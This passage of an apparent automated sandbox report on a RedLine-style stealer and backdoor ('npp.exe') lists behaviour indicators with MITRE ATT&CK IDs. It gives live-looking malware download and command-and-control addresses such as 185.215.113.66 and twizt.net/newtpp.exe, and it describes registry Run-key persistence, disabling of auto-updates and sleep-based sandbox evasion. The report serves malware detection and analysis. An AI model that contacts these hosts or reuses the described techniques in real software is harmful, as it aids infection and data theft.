Heuristic match: "~dfda7311b468259d69.tm" Pattern match: "http://193.233.132.177/1" Pattern match: "twizt.net/newtpp.exe" Pattern match: "www.toshiba.com/" Pattern match: "www.sogou.com/" Pattern match: "www.topix.com/" Pattern match: "www.blogcu.com/" Pattern match: "twizt.net/peinstall.php" Pattern match: "secure-assets.rubiconproject.com/util"55:T4aa9,Found URL "http://185.215.113.66/7ta\local\microsoft\windows\temporary" - Source: "00000000-00000384.00000000.196363.00310000.00000004.mdmp") Found URL "http://185.215.113.66/1http://185.215.113.66/2http://185.215.113.66/3http://185.215.113.66/4http://185.215.113.66/5http://185.215.113.66/6http://185.215.113.66/7/c" - Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found URL "http://185.215.113.66/_1\local\microsoft\windows\temporary" - Source: "00000000-00000624.00000000.200735.004E0000.00000004.mdmp") Found URL "http://185.215.113.66/_1http://185.215.113.66/_1@@ls8urqs" - Source: "00000000-00000624.00000000.200735.004E0000.00000004.mdmp") Found URL "http://185.215.113.66/http://91.202.233.141/http://193.233.132.177/software\microsoft\security" - Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp") Found URL "http://185.215.113.66/_3c:\users\hapubws\appdata\local\microsoft\windows\temporary" - Source: "00000000-00000624.00000001.202660.004E0000.00000004.mdmp") Found URL "http://193.233.132.177/_14ftmqs[\3euhvu\uu" - Source: "00000000-00000624.00000001.202660.004E0000.00000004.mdmp") Found URL "http://193.233.132.177/_1http://193.233.132.177/_1http://193.233.132.177/_1sv" - Source: "00000000-00000624.00000001.202660.004E0000.00000004.mdmp") Found URL "http://185.215.113.66/_3c:\users\hapubws\appdata\local\microsoft\windows\temporary" - Source: "00000000-00000624.00000002.204583.004E0000.00000004.mdmp") Found URL "http://193.233.132.177/_1http://193.233.132.177/_1http://193.233.132.177/_1http://193.233.132.177/_1qs[\vu\uueux:wl,uhconaaaahcon05f8-11e" - Source: "00000000-00000624.00000002.204583.004E0000.00000004.mdmp") Found URL "http://185.215.113.66/1http://185.215.113.66/2http://185.215.113.66/3http://185.215.113.66/4http://185.215.113.66/5http://185.215.113.66/6http://185.215.113.66/7/c" - Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found URL "http://185.215.113.66/http://91.202.233.141/http://193.233.132.177/%s%sstartnoautoupdatenoautoupdatestartcheckedvaluesoftware\microsoft\security" - Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp") Found URL "http://schemas.xmlsoap.org/soap/envelope/" - Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp") Found URL "http://schemas.xmlsoap.org/soap/encoding/" - Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp") Found URL "http://twizt.net/statsonlinebrohttp://twizt.net/statsonlinebro@@lsxm3wq,w(y&80w=,w(y&80wa Microsoft\"\n \"2025212419.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"winploravr.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"139762777.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to retrieve the host name of a computer","description":"\"2416522045.exe\" called \"gethostname\" with parameter %OSUSER%-PC & 256 (UID: 00000000-00003624)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-225","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"2416522045.exe\" (Thread ID: 2976) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"2416522045.exe\" sleeping for \"00900000\" milliseconds\n \"1691212729.exe\" sleeping for \"00900000\" milliseconds\n \"3092126301.exe\" sleeping for \"00300000\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"3092126301.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 188.212.88.16\"\n \"UDP connection to 188.209.254.110\"\n \"UDP connection to 100.105.203.38\"\n \"UDP connection to 100.84.20.81\"\n \"UDP connection to 178.89.6.139\"\n \"UDP connection to 187.133.36.104\"\n \"UDP connection to 187.235.186.245\"\n \"UDP connection to 95.67.242.184\"\n \"UDP connection to 212.154.184.138\"\n \"UDP connection to 5.232.118.82\"\n \"UDP connection to 94.141.249.222\"\n \"UDP connection to 82.194.11.2\"\n \"UDP connection to 77.34.125.178\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":7,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$68","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"2416522045.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWS SETTINGS\"; Value: \"%WINDIR%\\sysvratrel.exe\")\n \"2416522045.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWS SETTINGS\"; Value: \"%USERPROFILE%\\sysvratrel.exe\")\n \"1691212729.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWS SERVICE\"; Value: \"%WINDIR%\\winploravr.exe\")\n \"1691212729.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWS SERVICE\"; Value: \"%USERPROFILE%\\winploravr.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$69","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.215.113.66 on port 80 is sent without HTTP header\n TCP traffic to 91.202.233.141 on port 80 is sent without HTTP header\n TCP traffic to 193.233.132.177 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"npp.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"2416522045.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"1691212729.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"139762777.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"are sent as ping r\" (Indicator: \"ping\"; Source: \"00000000-00003140.00000000.200039.00600000.00000004.mdmp\")\n Found string \"ping 0, GenuineIntel\" (Indicator: \"ping\"; Source: \"00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$6a","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$6b","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$6c","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"1539229012.exe\" claimed CRC 0 while the actual is CRC 58332\n \"2025212419.exe\" claimed CRC 55529 while the actual is CRC 113892\n \"winploravr.exe\" claimed CRC 55529 while the actual is CRC 43070\n \"139762777.exe\" claimed CRC 69599 while the actual is CRC 55529","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"TerminateProcess\n WriteFile\n CreateFileW\n CreateProcessW\n UnhandledExceptionFilter\n GetStartupInfoA\n GetTickCount\n IsDebuggerPresent\n DeleteFileW\n Sleep\n InternetOpenUrlA\n InternetReadFile\n InternetCloseHandle\n InternetOpenA\n InternetOpenUrlW\n InternetOpenW\n URLDownloadToFileW\n RegCreateKeyExW\n RegCloseKey\n RegOpenKeyExW\n RegOpenKeyExA\n CopyFileW\n GetSystemInfo\n GetModuleFileNameW\n ExitThread\n GetDriveTypeW\n GetLogicalDrives\n MapViewOfFile\n CreateDirectoryW\n CreateFileMappingW\n CreateThread\n FindNextFileW\n FindFirstFileW\n GetModuleHandleW\n GetFileSize\n ShellExecuteW\n GetClipboardData\n HttpSendRequestA\n InternetConnectA\n HttpQueryInfoA\n InternetCrackUrlA\n WSASocketA\n accept\n WSAStartup\n recv\n send\n WSASend\n listen\n closesocket\n socket\n bind\n recvfrom\n sendto\n connect\n CryptEncrypt\n CreateFileMappingA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Changes file extension appearance of the explorer","description":"\"2416522045.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\ADVANCED\\FOLDER\\HIDDEN\\SHOWALL\"; Key: \"CHECKEDVALUE\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1546.001","relevance":5,"id":"registry-15","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to hide tracks of having downloaded a file from the internet","description":"$6d","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-42","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"3092126301.exe\" called \"ShellExecuteA\" with parameter cmd.exe (UID: 00000000-00000384)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"npp.exe\" allocated memory in \"C:\\npp.exe\"\n \"2416522045.exe\" allocated memory in \"%TEMP%\\2416522045.exe\"\n \"1691212729.exe\" allocated memory in \"%TEMP%\\1691212729.exe\"\n \"3092126301.exe\" allocated memory in \"%TEMP%\\3092126301.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$6e","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Network Related","name":"Contacts many different hosts","description":"Contacted 20 (or more) hosts in at least 0 different countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\n Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 89.219.71.226 on port 40500\n TCP traffic to 37.254.26.59 on port 40500\n TCP traffic to 80.241.43.110 on port 40500\n TCP traffic to 94.141.249.222 on port 40500","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"System Security","name":"Modifies Windows Auto-Updates feature","description":"\"2416522045.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\WINDOWSUPDATE\\AU\"; Key: \"NOAUTOUPDATE\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":9,"id":"registry-24","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"System Security","name":"Modifies security center notification settings","description":"$6f","origin":"Registry Access","mitre_attack_id":"T1562.004","relevance":8,"id":"registry-11","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$70","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"cmd.exe\" queried SystemProcessInformation at 00000000-00002144-00000033-298278 [PID: 2144]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00002144-00000033-3914442 [PID: 2144]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00002144-00000033-4275857 [PID: 2144]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00003092-00000033-276210 [PID: 3092]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"00000000-00003256.00000002.222937.00410000.00000002.mdmp\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"00000000-00003256.00000002.222937.00410000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"tracert.exe\" (Indicator: \"tracert\"; Source: \"00000000-00003432.00000000.220255.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"whoami\" (Indicator: \"whoami\") in Source: 00000000-00003432.00000002.224100.006E0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00003432.00000000.220255.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"AntiVirusOverride\" (Indicator: \"antivirus\") in Source: 00000000-00003256.00000002.222937.00410000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist.exe\" [Source: 00000000-00003432.00000000.220255.006E0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"ookie:hapubws@victoriassecret.com/\" (Indicator: \"secret\"; Source: \"00000000-00004572.00000000.219755.006E0000.00000004.mdmp\")\n Found string \"okie:hapubws@victoriassecret.com/\" (Indicator: \"secret\"; Source: \"00000000-00004572.00000000.219755.006E0000.00000004.mdmp\")\n Found string \"Cookie:hapubws@victoriassecret.com/\" (Indicator: \"secret\"; Source: \"00000000-00004572.00000000.219755.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"$71","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"svchost.exe,update.exe,rundll32.exe,wininit.exe,ctfmon.exe\" (Source: \"00000000-00003432.00000003.224430.00735000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"register-cimprovider.exe\" (Indicator: \"register-cimprovider.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"pstorec.dll\" (Indicator: \"pstorec.dll\"; Source: \"00000000-00003432.00000000.220255.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"okie:hapubws@me.hotwire.com/\" (Indicator: \"wire.com\")\n \"ookie:hapubws@me.hotwire.com/\" (Indicator: \"wire.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"send@WS2_32.DLL\" in \"cmd.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"EM\\CurrentControlSet\\Services\\wuauserv\" (Indicator: \"wuauserv\") in Source: 00000000-00003256.00000002.222937.00410000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1574.010","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Hooks API calls"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Tries to hide tracks of having downloaded a file from the internet"},{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}]},"activity":{"stats":{"process_count":64,"spawned_processes_count":64,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":85,"dropped_files_count":0,"extracted_files_count":48,"files_written_count":98,"files_deleted_count":0,"registry_keys_created_count":15,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":19,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":38,"dns_resolutions_count":1,"contacted_urls_count":12,"http_requests_count":12},"behavior_tags":["backdoor","commodity","informationstealer","redlinestealer","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"662db1b28642194f0e093561","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["BIH","IRN","KAZ","MEX","PRT","RUS","UZB","VEN","YEM"],"submit_name":"npp.exe","analysis_start_time":"2024-04-28T02:17:22+00:00","indicators_count":{"informative":153,"suspicious":54,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true},{"id":"662aefc8222315a2bb0600b2","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["AZE","IRN","KAZ","MEX","PRT","RUS","YEM","ZZZ"],"submit_name":"npp.exe","analysis_start_time":"2024-04-26T00:05:28+00:00","indicators_count":{"informative":145,"suspicious":49,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.215.113.66","port":80,"protocol":"TCP","country":"Portugal","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"address":"89.219.71.226","port":40500,"protocol":"TCP","country":"Iran (ISLAMIC Republic Of)","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"address":"188.212.88.16","port":40500,"protocol":"UDP","country":"Iran (ISLAMIC Republic 